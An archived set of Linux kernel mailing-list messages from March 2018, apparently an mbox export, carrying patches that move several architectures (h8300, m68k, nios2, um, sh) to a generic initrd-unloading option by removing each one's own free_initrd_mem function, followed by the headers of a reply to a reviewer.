Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf11.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:22 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724869 gmane.linux.ports.alpha:4859 gmane.linux.kernel.arc:3649 gmane.linux.ports.parisc:28395 gmane.linux.ports.ppc64.devel:155031 gmane.linux.ports.sh.devel:56716 gmane.linux.uml.devel:16690
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724869>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/h8300/Kconfig   | 1 +
 arch/h8300/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 091d6d04b5e5..58c9b6b1df16 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -24,6 +24,7 @@ config H8300
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
 	select DMA_DIRECT_OPS
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/h8300/mm/init.c b/arch/h8300/mm/init.c
index 015287ac8ce8..37574332b202 100644
--- a/arch/h8300/mm/init.c
+++ b/arch/h8300/mm/init.c
@@ -102,13 +102,6 @@ void __init mem_init(void)
 }
 
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void
 free_initmem(void)
 {
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 09/16] m68k: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:46 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20180325221853.10839-10-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016271 7006 195.159.176.226 (25 Mar 2018 22:17:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:51 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DxQ-0001iA-Jr
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752568AbeCYWTt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:49 -0400
Original-Received: from smtprelay0108.hostedemail.com ([216.40.44.108]:36079 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752412AbeCYWTb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:31 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay06.hostedemail.com (Postfix) with ESMTP id 9602A18224D79;
        Sun, 25 Mar 2018 22:19:30 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: store30_35cd37b5a3050
X-Filterd-Recvd-Size: 2032
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf12.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:29 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724870 gmane.linux.ports.alpha:4860 gmane.linux.kernel.arc:3650 gmane.linux.ports.parisc:28396 gmane.linux.ports.ppc64.devel:155032 gmane.linux.ports.sh.devel:56717 gmane.linux.uml.devel:16691
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724870>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/m68k/Kconfig   | 1 +
 arch/m68k/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 785612b576f7..47913a68529e 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -24,6 +24,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/m68k/mm/init.c b/arch/m68k/mm/init.c
index e85acd131fa8..e20bef09258c 100644
--- a/arch/m68k/mm/init.c
+++ b/arch/m68k/mm/init.c
@@ -172,10 +172,3 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
 	print_memmap();
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 11/16] nios2: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:48 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-12-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016276 7337 195.159.176.226 (25 Mar 2018 22:17:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:56 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DxV-0001mg-M0
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752594AbeCYWTy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:54 -0400
Original-Received: from smtprelay0111.hostedemail.com ([216.40.44.111]:37753 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752486AbeCYWTf (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:35 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay05.hostedemail.com (Postfix) with ESMTP id DBC2B18029595;
        Sun, 25 Mar 2018 22:19:34 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:16,LUA_SUMMARY:none
X-HE-Tag: blood17_366dced5a4e26
X-Filterd-Recvd-Size: 2099
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf13.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:33 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724871 gmane.linux.ports.alpha:4861 gmane.linux.kernel.arc:3651 gmane.linux.ports.parisc:28397 gmane.linux.ports.ppc64.devel:155033 gmane.linux.ports.sh.devel:56718 gmane.linux.uml.devel:16692
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724871>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/nios2/Kconfig   | 1 +
 arch/nios2/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 3d4ec88f1db1..d3b72d5c8967 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -19,6 +19,7 @@ config NIOS2
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
 	select CPU_NO_EFFICIENT_FFS
+	select INITRAMFS_GENERIC_UNLOAD
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/nios2/mm/init.c b/arch/nios2/mm/init.c
index c92fe4234009..3df75ff8c768 100644
--- a/arch/nios2/mm/init.c
+++ b/arch/nios2/mm/init.c
@@ -82,13 +82,6 @@ void __init mmu_init(void)
 	flush_tlb_all();
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void __ref free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 16/16] um: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:53 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-17-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016278 7514 195.159.176.226 (25 Mar 2018 22:17:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:17:58 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:17:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0DxY-0001pE-QR
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752618AbeCYWT6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:58 -0400
Original-Received: from smtprelay0200.hostedemail.com ([216.40.44.200]:58677 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752314AbeCYWTp (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:45 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id 7F3E3181D3419;
        Sun, 25 Mar 2018 22:19:44 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3868:4250:4321:4385:5007:6119:6261:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21451:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: chess68_37c20e81a2032
X-Filterd-Recvd-Size: 2090
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf13.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:43 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724872 gmane.linux.ports.alpha:4862 gmane.linux.kernel.arc:3652 gmane.linux.ports.parisc:28398 gmane.linux.ports.ppc64.devel:155034 gmane.linux.ports.sh.devel:56719 gmane.linux.uml.devel:16693
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724872>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/um/Kconfig.common | 1 +
 arch/um/kernel/mem.c   | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/um/Kconfig.common b/arch/um/Kconfig.common
index c68add8df3ae..1cb8a023938b 100644
--- a/arch/um/Kconfig.common
+++ b/arch/um/Kconfig.common
@@ -13,6 +13,7 @@ config UML
 	select GENERIC_CLOCKEVENTS
 	select HAVE_GCC_PLUGINS
 	select TTY # Needed for line.c
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MMU
 	bool
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3c0e470ea646..2d26eec92126 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -170,13 +170,6 @@ void free_initmem(void)
 {
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 /* Allocate and free page tables. */
 
 pgd_t *pgd_alloc(struct mm_struct *mm)
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 15/16] sh: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:52 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180325221853.10839-16-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016288 8396 195.159.176.226 (25 Mar 2018 22:18:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:18:08 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:18:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0Dxe-0001w1-1H
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:17:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752651AbeCYWUC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:20:02 -0400
Original-Received: from smtprelay0175.hostedemail.com ([216.40.44.175]:37767 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752548AbeCYWTn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:43 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay05.hostedemail.com (Postfix) with ESMTP id 3FF661802959A;
        Sun, 25 Mar 2018 22:19:42 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2198:2199:2200:2201:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:3868:3870:3871:3872:4250:4321:4385:5007:6261:6737:8603:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: mouth26_377df18906b05
X-Filterd-Recvd-Size: 2246
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf02.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:41 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724874 gmane.linux.ports.alpha:4863 gmane.linux.kernel.arc:3653 gmane.linux.ports.parisc:28399 gmane.linux.ports.ppc64.devel:155035 gmane.linux.ports.sh.devel:56720 gmane.linux.uml.devel:16694
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724874>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/sh/Kconfig   | 1 +
 arch/sh/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 97fe29316476..b6f80dad2152 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -50,6 +50,7 @@ config SUPERH
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_NMI
+	select INITRAMFS_GENERIC_UNLOAD
 	help
 	  The SuperH is a RISC processor targeted for use in embedded systems
 	  and consumer electronics; it was also used in the Sega Dreamcast
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index ce0bbaa7e404..7451459d0725 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -477,13 +477,6 @@ void free_initmem(void)
 	free_initmem_default(-1);
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 #ifdef CONFIG_MEMORY_HOTPLUG
 int arch_add_memory(int nid, u64 start, u64 size, struct vmem_altmap *altmap,
 		bool want_memblock)
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.uml.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.kernel.arc,gmane.linux.ports.alpha
Subject: Re: [PATCH 01/16] initrd: Add generic code path for common initrd unloading logic.
Date: Sun, 25 Mar 2018 18:20:02 -0400
Lines: 81
Approved: news@gmane.org
Message-ID: <87r2o7u7al.fsf@xps13.shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com> <20180324174458.26423-2-shea@shealevy.com> <20180325191740.Horde.Cymi0yr0xcQQV1s42wkNkg2@messagerie.si.c-s.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
        micalg=pgp-sha256; protocol="application/pgp-signature"
X-Trace: blaine.gmane.org 1522016295 8905 195.159.176.226 (25 Mar 2018 22:18:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:18:15 +0000 (UTC)
Cc: user-mode-linux-devel@lists.sourceforge.net,
        linux-sh@vger.kernel.org, linux-riscv@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        openrisc@lists.librecores.org, nios2-dev@lists.rocketboards.org,
        linux-m68k@lists.linux-m68k.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-c6x-dev@linux-c6x.org,
        linux-snps-arc@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org
To: LEROY Christophe <christophe.leroy@c-s.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:18:10 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0Dxo-0002BV-KM
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:18:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752670AbeCYWUN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:20:13 -0400
Original-Received: from smtprelay0204.hostedemail.com ([216.40.44.204]:34484 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751177AbeCYWUG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:20:06 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay01.hostedemail.com (Postfix) with ESMTP id D7C95100E806B;
        Sun, 25 Mar 2018 22:20:04 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,shea@shealevy.com,:::::::::::::::::::::::::::,RULES_HIT:41:152:355:379:599:800:871:960:966:973:988:989:1000:1260:1313:1314:1345:1359:1437:1516:1518:1534:1541:1575:1594:1711:1730:1747:1777:1792:1978:1981:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3622:3865:3870:4321:4385:4605:5007:6119:6261:6506:6742:6747:7281:7909:9040:10004:10848:11026:11232:11473:11658:11914:12043:12296:12438:12555:12895:13255:14096:14180:14181:14721:21060:21080:21451:21627:30012:30054,0,RBL:error,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:20,LUA_SUMMARY:none
X-HE-Tag: pies90_3abd1722ad22b
X-Filterd-Recvd-Size: 3761
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf10.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:20:03 +0000 (UTC)
In-Reply-To: <20180325191740.Horde.Cymi0yr0xcQQV1s42wkNkg2@messagerie.si.c-s.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
